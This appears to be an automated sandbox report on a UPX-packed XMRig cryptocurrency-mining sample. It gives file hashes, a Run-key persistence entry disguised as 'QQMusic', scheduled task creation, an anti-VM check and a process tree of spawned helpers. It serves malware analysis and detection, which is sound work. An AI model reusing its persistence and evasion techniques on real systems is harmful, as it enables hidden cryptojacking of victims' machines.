memory/5904-161-0x00007FF77CC40000-0x00007FF77D284000-memory.dmp

memory/6124-164-0x00007FF77CC40000-0x00007FF77D284000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe

MD5 2cf24966a6aad7b6ecffe04a20eaf3dd
SHA1 e50a4184953faeec7e40bb33f52c08d7f22a2519
SHA256 01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719
SHA512 5e4eda6d61438e46c5e93b994dcda0cddcb24a0f19529605715f74c91a9ad0cf30fd592aba8111d2aaae8c340f6b2860564f6b35e871df3f362afb48aea094f1

memory/6124-178-0x00007FF77CC40000-0x00007FF77D284000-memory.dmp

memory/6124-179-0x00007FF77CC40000-0x00007FF77D284000-memory.dmp

memory/6124-180-0x00007FF77CC40000-0x00007FF77D284000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-14 11:45

Reported

2024-06-14 11:48

Platform

win10v2004-20240508-en

Max time kernel

150s

Max time network

151s

Command Line

"C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe"

Signatures

xmrig

miner xmrig

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\QQMusic = "C:\\Users\\Admin\\AppData\\Local\\Temp\\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe" C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\QQMusic = "C:\\Users\\Admin\\AppData\\Local\\Temp\\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe" C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\K: C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A

Checks for VirtualBox DLLs, possible anti-VM trick

Description Indicator Process Target
File opened (read-only) \??\VBoxMiniRdrDN C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
File opened (read-only) \??\VBoxMiniRdrDN C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
Token: SeBackupPrivilege N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A
Token: SeLockMemoryPrivilege N/A C:\ProgramData\syabcd.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4820 wrote to memory of 372 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 4820 wrote to memory of 372 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 4820 wrote to memory of 372 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 4820 wrote to memory of 2196 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 4820 wrote to memory of 2196 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 4820 wrote to memory of 2196 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 372 wrote to memory of 2348 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 372 wrote to memory of 2348 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 372 wrote to memory of 2348 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 2196 wrote to memory of 4404 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2196 wrote to memory of 4404 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2196 wrote to memory of 4404 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 4820 wrote to memory of 3472 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 4820 wrote to memory of 3472 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 4820 wrote to memory of 3472 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 3472 wrote to memory of 4220 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe
PID 3472 wrote to memory of 4220 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe
PID 3472 wrote to memory of 4220 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe
PID 4820 wrote to memory of 3868 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\syabcd.exe
PID 4820 wrote to memory of 3868 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\syabcd.exe
PID 4820 wrote to memory of 1744 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\SMB.exe
PID 4820 wrote to memory of 1744 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\SMB.exe
PID 4820 wrote to memory of 1744 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\SMB.exe
PID 4820 wrote to memory of 4576 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 4820 wrote to memory of 4576 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 4820 wrote to memory of 4576 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 4820 wrote to memory of 4768 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\syabcd.exe
PID 4820 wrote to memory of 4768 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\syabcd.exe
PID 4576 wrote to memory of 3428 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 4576 wrote to memory of 3428 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 4576 wrote to memory of 3428 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 4820 wrote to memory of 3432 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\syabcd.exe
PID 4820 wrote to memory of 3432 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\syabcd.exe
PID 4820 wrote to memory of 4512 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 4820 wrote to memory of 4512 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 4820 wrote to memory of 4512 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 4512 wrote to memory of 5124 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe
PID 4512 wrote to memory of 5124 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe
PID 4512 wrote to memory of 5124 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe
PID 4820 wrote to memory of 5224 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 4820 wrote to memory of 5224 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 4820 wrote to memory of 5224 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 4820 wrote to memory of 5252 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\syabcd.exe
PID 4820 wrote to memory of 5252 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\syabcd.exe
PID 5224 wrote to memory of 5332 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 5224 wrote to memory of 5332 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 5224 wrote to memory of 5332 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 4820 wrote to memory of 5424 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\syabcd.exe
PID 4820 wrote to memory of 5424 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\syabcd.exe
PID 4820 wrote to memory of 6400 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 4820 wrote to memory of 6400 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 4820 wrote to memory of 6400 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 6400 wrote to memory of 6452 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe
PID 6400 wrote to memory of 6452 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe
PID 6400 wrote to memory of 6452 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\ipconfig.exe
PID 4820 wrote to memory of 6484 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 4820 wrote to memory of 6484 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 4820 wrote to memory of 6484 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\Windows\SysWOW64\cmd.exe
PID 4820 wrote to memory of 6524 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\syabcd.exe
